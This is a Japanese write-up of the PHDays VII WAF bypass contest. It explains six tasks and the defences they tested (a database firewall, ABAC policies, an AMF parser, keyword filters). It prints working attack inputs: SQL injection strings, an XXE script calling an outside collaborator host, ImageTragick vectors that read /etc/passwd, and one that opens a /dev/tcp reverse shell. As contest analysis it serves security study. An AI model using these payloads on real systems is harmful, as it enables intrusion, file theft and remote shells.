PHDays VIIでのWAFバイパスコンテストの解析タスク

情報セキュリティに関する国際フォーラムPHDaysが再びWAFバイパスコンテストの会場になりました。 競争の目的は、 PT Application Firewallの防御メカニズムをバイパスして、準備されたWebアプリケーションの脆弱性を介して特別なフラグを取得することです。 各タスクは、PTアプリケーションファイアウォールを回避するためのオプションを暗示しており、これは多くのセキュリティ機能を無効にすることで可能になりました。 今年は、アプリケーションからデータベース(DB)へのSQLトラフィックを分析するデータベース管理システム(DBFW)のファイアウォールのプロトタイプをテストすることも決定しました。



タスク1(JJ)



350ポイント



SQLインジェクションを検出するためのアルゴリズムをバイパスすることを提案したタスク。 PHPモジュールがアプリケーションサーバーにインストールされ、元のmysql_query()関数が独自のものに置き換えられました。 その中で、HTTPパラメータの値(GET、POST、Cookie)がコメントとしてSQLクエリの先頭に追加されます。







アプリケーションからのSQLクエリは、置換関数を使用してデータベースに送信された後、DBFWによってインターセプトされます。 彼はコメントからHTTPパラメーターの値を抽出し、SQLクエリでそれらを探します。 パラメータ値に対応する部分文字列が見つかった場合、定数に置き換えられます。 次に、2つのリクエストがトークン化されます:置換の前と後。 受信したトークンの数が一致しない場合、これはSQLインジェクションを示しています。 インジェクション攻撃の主な兆候は、解析ツリーの変更であることが知られています。 トークンの数が変更された場合、解析ツリーが変更され、インジェクションが発生したことを意味します。 レポート「 Database Firewall from Scratch 」でこのアルゴリズムのロジックを明らかにし、DBFWセキュリティメカニズムの研究における経験を共有しました。 したがって、レポートを訪れた人は、このアプローチの主な欠点を理解できます:一般的に、解析ツリーを変更して元のリクエストと解析されたリクエストのトークンの数が一致するため、トークンの数のみに基づいて注入について結論付けることは不可能です。 たとえば、攻撃者は、リクエスト内のトークンの数は同じになるが、トークン自体は異なるように、ベクターをコメントで補完できます。 正しい方法は、2つのクエリの抽象構文木(AST)を構築して比較することです。 したがって、タスクを完了するには、トークンの数だけ、注入なしの元の要求と一致するベクトルを構成する必要がありました。



/post.php?p=-1 union select 1,2,(select flag from flags order by id,1),4 -- -











参加者は、MySQLのANTLRパーサーに欠陥を発見しました。 実際、MySQLは/ *!を使用して条件付きコメントをサポートしています。 ... * /。 このコメント内のすべてはMySQLによって実行されますが、他のデータベースはこの設計を無視します。



http://task1.waf-bypass.phdays.com/post.php?p=(select /*!50718 ST_LatFromGeoHash((SELECT table_name FROm information_schema.tables LIMIT 1)) */) and true and true and true order by id desc limit 10 --



(アーセニーシャログラゾフ)



http://task1.waf-bypass.phdays.com/post.php?p=/*!1111111 union select 1 id,flag,1,1 from flags where 1*/



(Sergey Bobrov)のhttp://task1.waf-bypass.phdays.com/post.php?p=/*!1111111 union select 1 id,flag,1,1 from flags where 1*/







タスク2(KM)



250ポイント



2番目のタスクでは、参加者は、メモを追加できるアプリケーションにアクセスできました。 同時に、16進数の完全なSQLクエリがパラメーターpで渡されました。



http://task2.waf-bypass.phdays.com/notes.php?q=53454c454354207469746c652c20626f64792046524f4d206e6f746573204c494d4954203235 (SELECT title, body FROM notes LIMIT 25 )







ALFAScriptでは、ユーザーがノートテーブルに対してのみINSERT、UPDATE、およびSELECTを実行できるようにする属性アクセス制御(ABAC)ポリシーを定義しました。 したがって、フラグテーブルへのアクセスはブロックされました。 しかし、CREATEステートメントの実行を許可することでバイパスを設けました。 推奨される解決策は、ノートテーブルにフラグを書き込むイベントを作成することでした。



CREATE EVENT `new_event` ON SCHEDULE EVERY 60 SECOND STARTS CURRENT_TIMESTAMP ON COMPLETION NOT PRESERVE ENABLE COMMENT '' DO insert into notes (title, body) VALUES ((select flag from flags limit 1), 2)











CREATE EVENTに加えて、CREATE TABLEを使用してMySQLメッセージでフラグを取得すると、強制的にエラーが発生します(Arseny Sharoglazovによる決定)。



CREATE TABLE ggg AS SELECT ST_LongFromGeoHash (flag) FROM flags;











Sergey Bobrovは、 ON DUPLICATE KEY UPDATEコンストラクトを使用して別の方法で決定しました。これにより、INSERT内で1つのクエリでUPDATEを実行できます。



INSERT INTO notes SELECT 1,2,3 FROM notes,flags as a ON DUPLICATE KEY UPDATE body = flag







タスク3(AG)



300ポイント



タスクを完了するには、参加者はAdobe BlazeDSデモアプリケーションの古いバージョンの1つの脆弱性を検出し、悪用する必要がありました。 アプリケーションの特性は、Action Message Format(AMF)プロトコルを使用してサーバーと通信することです。 AMF自体は、フィールドタイプを使用したシリアル化された構造です。 タイプの1つはXML(0x0b)であり、これを正しく解析しないと、AMFを操作するためのライブラリに BlazeDSを含む多くの脆弱性が生じます。



WAFには組み込みのAMFパーサーがありましたが、外部Flexオブジェクトの解析はジョブに対して無効になっています:AcknowledgeMes​​sageExt(別名DSK)、CommandMessageExt(DSC)、AsyncMessageExt(DSA)。 同時に、BlazeDSはそのようなメッセージを解析してXMLを見つけることができ、最終的にXXE攻撃の脆弱性につながりました。



pyamfライブラリを使用してこのようなリクエストを行うことができます。



 import pyamf import httplib import uuid from pyamf.flex.messaging import RemotingMessage, AcknowledgeMessageExt from pyamf.remoting import Envelope, Request, decode hostname = 'task3.waf-bypass.phdays.com' port = 80 path = '/samples/messagebroker/amf' request = AcknowledgeMessageExt( operation="findEmployeesByName", destination="runtime-employee-ro", messageId=None, body=[ '<!DOCTYPE x [ ' '<!ENTITY foo SYSTEM "http://dta58o8o6fljzkvl52h8458lacg54u.burpcollaborator.net"> ]>' '<x>External entity 1: &foo;</x>'], clientId=None, headers={'DSId': str(uuid.uuid4()).upper(), 'DSEndpoint': 'my-amf'} ) envelope = Envelope(amfVersion=3) envelope["/%d" % 1] = Request(u'null', [request]) message = pyamf.remoting.encode(envelope) conn = httplib.HTTPConnection(hostname, port) conn.request('POST', path, message.getvalue(), headers={'Content-Type': 'application/x-amf'}) resp = conn.getresponse() data = resp.read() content = decode(data) print content
      
      







BlazeDSは、内部透過プロキシを介して動作するように構成されており、すべての発信要求にフラグ付きのヘッダーが追加されました。







タスク4(KP)



200ポイント



ジョブには、 Imagetragick攻撃に対して脆弱なPasteboard Webアプリケーションのバージョンが使用されました 。 WAFは、次のキーワードのみをフィルタリングするように特別に構成されました。

url, caption:, label:, ephemeral:, msl:







ただし、あまり一般的ではないベクターが利用可能でした。 たとえば、ラッパーはテキストです(ラベルとは異なり、ファイル名の前に「@」記号は必要ありません)。



push graphic-context

viewbox 0 0 640 480

image over 0,0 0,0 'text:/etc/passwd'

pop graphic-context








出力は、/ etc / passwdファイルの内容を含む画像でした:







アーセニーシャログラゾフは、以下の画像を含むベクターを使用しました。



push graphic-context

encoding "UTF-8"

viewbox 0 0 1 1

affine 1 0 0 1 0 0

push graphic-context

image Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/ip/80 0<&1 2>&1'

pop graphic-context

pop graphic-context








Sergey Bobrovは、imagemagickのソースコードにpango:wrapperを見つけました。これは、よく知られたエクスプロイトでは言及されていませんでした。



push graphic-context

viewbox 0 0 640 480

image over 0,0 0,0 'pango:@/etc/passwd'

pop graphic-context








タスク5(GM)



250ポイント



タスクは、SQLインジェクションに対して脆弱な検索フォームでした。 検索結果を含むテーブルには、publickeyフィールドが含まれていました。 タスクは、SQLインジェクションを介してprivatekeyフィールドの値を表示することでした。 ALFAScriptで設定された次のABACポリシーが使用されました。



namespace example {

export policy Main {

target clause action == "select"

apply denyUnlessPermit



rule r1 {

permit

target clause resource.schema.id == "information_schema"

}



rule r2 {

permit

target clause resource.schema.id == "task5"

and resource.table.id == "users"

and resource.column.id == "publickey"

}



rule r3 {

permit

target clause resource.schema.id == "task5"

and resource.table.id == "users"

and resource.column.id == "name"

}

}

}








ここでは、denyUnlessPermitというキーワードに注意する必要があります。 XACML言語には、アクセス制御属性ポリシーを記述するためのアルゴリズムを組み合わせたいくつかのタイプの決定があります。 denyUnlessPermitアルゴリズムを使用すると、少なくとも1つのルールでユーザーがリソースにアクセスできる場合にのみ、要求が許可されます。 DBFWはDBMSの実際の構造を知らないため、c、dからSELECT a、bのようなクエリを見ると、DBMSとは異なり、たとえば、テーブルcまたはdの列aがどこにあるかを知りません。 このようなクエリの場合、DBFWはすべてのリソースオプションへのユーザーのアクセスを強制的にチェックします。 この例では、列ca、cb、da、dbです。したがって、許可された列を少なくとも1つ含むクエリを作成し、2つのテーブルから選択を使用して、privatekeyを抽出できます。



Petrov' union select name, privatekey from information_schema.columns,users where name = 'Petrov' --











タスク6(ES)



300ポイント



タスクのWebアプリケーションには2つの機能がありました。連絡先のリストを含むCSVファイルのダウンロードと、SQLインジェクションを含む連絡先の検索フォームです。 「Dejector」と呼ばれるDBFWアルゴリズムが保護メカニズムとして使用されました。 SQLインジェクションを検出するこの方法は、最初にHansen and PattersonのGuns and Butter:Towards Formal Axioms of Input Validationで説明されました 。 その本質は、Webアプリケーションの既知のリクエストのセット(たとえば、ソースコードの静的アナライザーがそのようなリクエストのセットを受信できる)に基づいて、SQL言語のサブ文法が構築されることです。 この文法からパーサーが生成されます。 リクエストがパーサーによって認識される場合、リクエストは言語に属します。そうでない場合、リクエストは言語に属しません。つまり、リクエストは偽物です。



割り当てのために、有効なクエリを記述する文法を準備しました。 ファイルをCSVにアップロードする機能により、MySQLユーザーがファイルを操作できることが明らかになりました。 別のヒントがエラーに含まれていました:mysqli_multi_query()が使用されました。これは、スタッククエリが機能したことを意味します。 通常のLOAD_FILE()は文法によって禁止されていましたが、 LOAD DATA INFILEは使用可能です。



'; load data infile '/etc/passwd' into table users character set 'utf8











結果









1位と2位は、カスペルスキーラボの専門家であるセルゲイボブロフとアーセニーシャログラゾフによって撮影されました。 3位はチュメニ州立大学アンドレイ・セマキンの学生に行きました。 受賞者の皆さん、おめでとうございます!



Arseny Reutov(@ Raz0r)、Dmitry Nagibin、Igor Kanygin(@akamajoris)、Denis Kolegov、Nikolai Tkachenko、Ivan Khudyashov



All Articles